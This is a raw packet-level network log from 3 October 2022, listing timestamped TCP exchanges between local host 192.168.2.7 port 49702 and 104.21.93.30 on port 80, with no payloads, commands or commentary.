Oct 3, 2022 17:34:54.370485067 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370501995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370507956 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370529890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370557070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370568991 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370584011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370609999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370623112 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370636940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370665073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370690107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370707035 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370717049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370728970 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371107101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371136904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371160984 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371162891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371191978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371218920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371233940 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371247053 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371256113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371275902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371303082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371329069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371340990 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371356010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371362925 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371383905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371411085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371423960 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371437073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371463060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371478081 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371489048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371515989 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371526957 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371542931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371562958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371599913 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371813059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371843100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371870995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371896982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371897936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371910095 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371927023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371953011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.371965885 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.371979952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372008085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372020006 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372035027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372062922 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372090101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372101068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372117043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372129917 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372148991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372175932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372204065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372219086 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372231960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372242928 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372261047 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372289896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372299910 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372317076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372344017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372370958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372380018 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372410059 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372741938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372772932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372800112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372821093 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372828007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372857094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372867107 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372885942 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372911930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372936964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372951031 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372963905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.372971058 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.372992992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.373018980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.373047113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.373058081 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.373080969 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.390213013 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.390263081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.390290022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.390314102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.390386105 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.390435934 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.395699024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.395740032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.395771027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.395797968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.395823002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.395849943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.395875931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.395888090 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.395888090 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.395903111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.395931959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.395939112 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.395962000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.395972013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.395989895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396017075 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396030903 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396043062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396069050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396086931 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396101952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396109104 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396132946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396158934 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396171093 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396186113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396214008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396223068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396241903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396267891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396295071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396307945 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396322966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396332979 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396349907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396377087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396384954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396399021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396425962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396454096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396462917 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396481991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396491051 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396509886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396537066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396564007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396575928 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396590948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396601915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396619081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396646023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396656990 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396673918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396701097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396725893 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396737099 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396759033 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396763086 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396786928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396812916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396837950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396853924 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396867037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396874905 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396894932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396920919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396948099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396960020 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.396975040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.396981955 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.397176027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397202969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397216082 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.397231102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397257090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397284031 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397310972 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397336960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397362947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397377968 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.397388935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397416115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397440910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397466898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397489071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397497892 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.397525072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.397634029 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.397744894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397777081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397778034 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.397803068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397829056 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.397829056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397856951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.397870064 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.397882938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.401807070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.410979986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411031961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411062956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411092043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411112070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411120892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411153078 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411153078 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411180973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411210060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411230087 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411240101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411264896 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411271095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411300898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411330938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411346912 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411359072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411376953 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411390066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411422968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411452055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411479950 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411479950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411494017 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411514997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411544085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411559105 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411573887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411603928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411616087 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411631107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411655903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411674023 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411680937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411703110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411722898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411745071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411770105 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411802053 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411843061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411873102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411900043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411917925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411926031 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411945105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411947966 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411973000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.411990881 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.411999941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412024021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412048101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412066936 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.412075043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412096024 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.412101030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412128925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412153959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412172079 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.412178993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412201881 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.412208080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412237883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412266016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412283897 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.412293911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412311077 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.412322998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412353039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412379980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412393093 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.412410021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412420988 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.412441969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412471056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412499905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412517071 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.412549019 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.412909031 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412938118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.412992954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.444847107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.444895983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.444919109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.444942951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.444967031 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.444993973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445018053 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445040941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445065022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445089102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445112944 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445139885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445164919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445189953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445208073 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445208073 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445208073 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445209026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445215940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445242882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445265055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445286989 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445314884 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445342064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445362091 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445369005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445396900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445410967 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445422888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445449114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445452929 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445475101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445501089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445523024 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445528984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445557117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445569992 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445585012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445612907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445619106 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445640087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445666075 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445667028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445697069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445719957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.445733070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445769072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.445799112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.488814116 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:55.926707029 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:55.926810980 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:55.959047079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:55.959084034 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:56.026063919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:56.026102066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:56.026227951 CEST	49702	80	192.168.2.7	104.21.93.30
